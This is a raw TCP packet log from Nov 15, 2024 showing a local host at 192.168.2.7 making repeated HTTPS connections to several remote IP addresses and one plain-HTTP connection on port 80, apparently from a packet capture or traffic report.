Nov 15, 2024 09:55:09.180442095 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:09.300178051 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:09.300205946 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:09.300623894 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:09.300633907 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:09.301657915 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:09.414345026 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:09.414371014 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:09.414612055 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:09.414633989 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:09.414769888 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:09.531656027 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:09.531686068 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:09.531867027 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:09.531877995 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:09.531922102 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:09.648541927 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:09.648566008 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:09.648722887 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:09.648722887 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:09.648735046 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:09.648778915 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:09.691555023 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:09.691591978 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:09.691665888 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:09.691680908 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:09.691740990 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:09.691740990 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:09.766817093 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:09.766851902 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:09.766906977 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:09.766928911 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:09.766973972 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:09.766973972 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:09.883532047 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:09.883559942 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:09.883697987 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:09.883737087 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:09.883790970 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:09.927927971 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:09.927958012 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:09.928106070 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:09.928128958 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:09.928189993 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:10.000710964 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:10.000818968 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:10.000881910 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:10.000962019 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:10.060405970 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:10.060442924 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:10.428313017 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:10.428348064 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:10.428448915 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:10.428824902 CET	49703	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:10.428884029 CET	443	49703	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:10.429029942 CET	49703	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:10.429833889 CET	49704	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:10.429873943 CET	443	49704	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:10.429934978 CET	49704	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:10.431067944 CET	49705	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:10.431104898 CET	443	49705	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:10.431169033 CET	49705	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:10.431200981 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:10.431212902 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:10.431334019 CET	49703	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:10.431349039 CET	443	49703	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:10.431977034 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:10.431987047 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:10.432041883 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:10.432172060 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:10.432183027 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:10.432653904 CET	49704	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:10.432662010 CET	443	49704	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:10.433099031 CET	49705	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:10.433115959 CET	443	49705	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.171583891 CET	443	49704	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.172451019 CET	49704	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.172486067 CET	443	49704	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.173000097 CET	49704	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.173007011 CET	443	49704	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.174593925 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.174920082 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.174943924 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.175370932 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.175379992 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.175951958 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.176328897 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.176350117 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.176857948 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.176862955 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.178324938 CET	443	49705	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.178817034 CET	49705	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.178843021 CET	443	49705	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.179032087 CET	49705	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.179039001 CET	443	49705	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.179416895 CET	443	49703	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.179888010 CET	49703	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.179919004 CET	443	49703	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.180305958 CET	49703	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.180311918 CET	443	49703	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.304599047 CET	443	49704	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.304621935 CET	443	49704	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.304675102 CET	443	49704	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.304718971 CET	49704	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.304754019 CET	49704	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.306050062 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.306073904 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.306160927 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.306231976 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.306231976 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.309376955 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.309457064 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.310367107 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.310400009 CET	443	49705	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.310467958 CET	443	49705	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.311161041 CET	49705	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.313456059 CET	443	49703	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.313483000 CET	443	49703	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.313532114 CET	443	49703	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.314311028 CET	49703	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.314311028 CET	49703	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.315686941 CET	49704	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.315710068 CET	443	49704	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.315721989 CET	49704	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.315727949 CET	443	49704	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.316891909 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.316901922 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.316905975 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.316910028 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.317414045 CET	49703	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.317414045 CET	49703	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.317434072 CET	443	49703	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.317444086 CET	443	49703	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.318228006 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.318278074 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.319026947 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.319050074 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.319153070 CET	49705	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.319153070 CET	49705	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.319181919 CET	443	49705	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.319211960 CET	443	49705	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.321871996 CET	49707	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.321902037 CET	443	49707	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.322143078 CET	49709	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.322180986 CET	443	49709	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.322233915 CET	49709	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.322863102 CET	49710	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.322864056 CET	49708	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.322911978 CET	443	49710	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.322925091 CET	443	49708	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.322983980 CET	49710	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.322997093 CET	49707	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.323139906 CET	49709	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.323153019 CET	443	49709	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.323311090 CET	49708	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.323318958 CET	49710	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.323339939 CET	443	49710	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.323348999 CET	49711	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.323354959 CET	49707	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.323359013 CET	443	49711	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.323364973 CET	443	49707	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.323419094 CET	49711	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.323543072 CET	49711	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.323554039 CET	443	49711	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:11.323581934 CET	49708	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:11.323592901 CET	443	49708	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.014744997 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:12.019706964 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:12.019823074 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:12.020600080 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:12.025598049 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:12.049120903 CET	443	49710	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.049869061 CET	49710	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.049895048 CET	443	49710	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.050515890 CET	49710	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.050524950 CET	443	49710	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.060216904 CET	443	49707	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.060854912 CET	49707	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.060874939 CET	443	49707	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.061336040 CET	49707	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.061347008 CET	443	49707	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.069720030 CET	443	49711	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.070321083 CET	49711	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.070347071 CET	443	49711	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.070738077 CET	49711	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.070744038 CET	443	49711	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.074204922 CET	443	49708	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.074660063 CET	49708	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.074676991 CET	443	49708	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.075243950 CET	49708	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.075249910 CET	443	49708	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.109915018 CET	443	49709	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.110699892 CET	49709	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.110735893 CET	443	49709	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.111511946 CET	49709	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.111524105 CET	443	49709	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.176007032 CET	443	49710	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.176213980 CET	443	49710	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.176284075 CET	49710	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.176420927 CET	49710	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.176439047 CET	443	49710	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.179625988 CET	49713	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.179680109 CET	443	49713	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.179788113 CET	49713	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.179939985 CET	49713	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.179950953 CET	443	49713	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.188090086 CET	443	49707	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.188239098 CET	443	49707	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.188313961 CET	49707	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.188523054 CET	49707	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.188543081 CET	443	49707	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.188581944 CET	49707	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.188589096 CET	443	49707	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.190208912 CET	49677	443	192.168.2.7	20.50.201.200
Nov 15, 2024 09:55:12.192218065 CET	49714	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.192255020 CET	443	49714	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.192353010 CET	49714	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.192498922 CET	49714	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.192512035 CET	443	49714	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.200134039 CET	443	49711	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.200217009 CET	443	49711	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.200285912 CET	49711	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.200495958 CET	49711	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.200517893 CET	443	49711	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.200532913 CET	49711	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.200539112 CET	443	49711	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.203236103 CET	49715	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.203282118 CET	443	49715	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.203370094 CET	49715	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.203495026 CET	49715	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.203507900 CET	443	49715	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.206723928 CET	443	49708	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.206887007 CET	443	49708	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.206958055 CET	49708	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.206995010 CET	49708	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.207012892 CET	443	49708	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.207041025 CET	49708	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.207046986 CET	443	49708	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.209503889 CET	49716	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.209547043 CET	443	49716	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.209611893 CET	49716	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.209719896 CET	49716	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.209731102 CET	443	49716	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.245683908 CET	443	49709	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.245843887 CET	443	49709	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.245893955 CET	49709	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.245996952 CET	49709	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.246027946 CET	443	49709	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.246042013 CET	49709	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.246048927 CET	443	49709	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.248859882 CET	49717	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.248909950 CET	443	49717	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.248979092 CET	49717	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.249110937 CET	49717	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.249125957 CET	443	49717	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.909811020 CET	443	49714	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.912055016 CET	443	49713	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.924659967 CET	49675	443	192.168.2.7	104.98.116.138
Nov 15, 2024 09:55:12.924926996 CET	49674	443	192.168.2.7	104.98.116.138
Nov 15, 2024 09:55:12.931338072 CET	49714	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.931365013 CET	443	49714	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.931735992 CET	49714	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.931752920 CET	443	49714	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.931857109 CET	443	49715	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.932014942 CET	49713	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.932041883 CET	443	49713	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.932288885 CET	49713	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.932295084 CET	443	49713	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.932481050 CET	49715	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.932487965 CET	443	49715	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.932820082 CET	49715	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.932823896 CET	443	49715	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.935049057 CET	443	49716	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.935502052 CET	49716	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.935566902 CET	443	49716	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.935904980 CET	49716	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:12.935920000 CET	443	49716	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:12.939657927 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:12.939763069 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:12.971873045 CET	49672	443	192.168.2.7	104.98.116.138
Nov 15, 2024 09:55:13.019551039 CET	443	49717	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.054949045 CET	443	49714	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.055037022 CET	443	49714	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.055104971 CET	49714	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.059956074 CET	443	49713	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.060038090 CET	443	49715	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.060235023 CET	443	49713	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.060302973 CET	49713	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.060420990 CET	443	49715	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.060473919 CET	49715	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.062776089 CET	443	49716	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.062918901 CET	443	49716	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.063150883 CET	49716	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.065205097 CET	49717	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.102282047 CET	49717	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.102298975 CET	443	49717	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.103107929 CET	49717	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.103112936 CET	443	49717	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.103270054 CET	49716	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.103271008 CET	49716	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.103302002 CET	443	49716	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.103317022 CET	443	49716	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.105142117 CET	49714	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.105142117 CET	49714	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.105160952 CET	443	49714	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.105170012 CET	443	49714	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.107151031 CET	49713	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.107168913 CET	443	49713	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.107182980 CET	49713	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.107191086 CET	443	49713	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.108414888 CET	49715	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.108422995 CET	443	49715	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.108433008 CET	49715	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.108438015 CET	443	49715	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.110723972 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:13.111799955 CET	49718	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.111828089 CET	443	49718	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.111896992 CET	49718	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.113879919 CET	49718	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.113892078 CET	443	49718	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.115242958 CET	49719	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.115288019 CET	443	49719	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.115350962 CET	49719	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.115581989 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:13.116247892 CET	49720	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.116286993 CET	443	49720	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.116352081 CET	49720	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.116533041 CET	49720	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.116545916 CET	443	49720	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.117407084 CET	49719	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.117424011 CET	443	49719	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.118484020 CET	49721	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.118520975 CET	443	49721	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.118637085 CET	49721	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.118779898 CET	49721	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.118797064 CET	443	49721	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.236434937 CET	443	49717	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.236526966 CET	443	49717	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:13.236582994 CET	49717	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:13.242459059 CET	49717	443	192.168.2.7	13.107.246.45
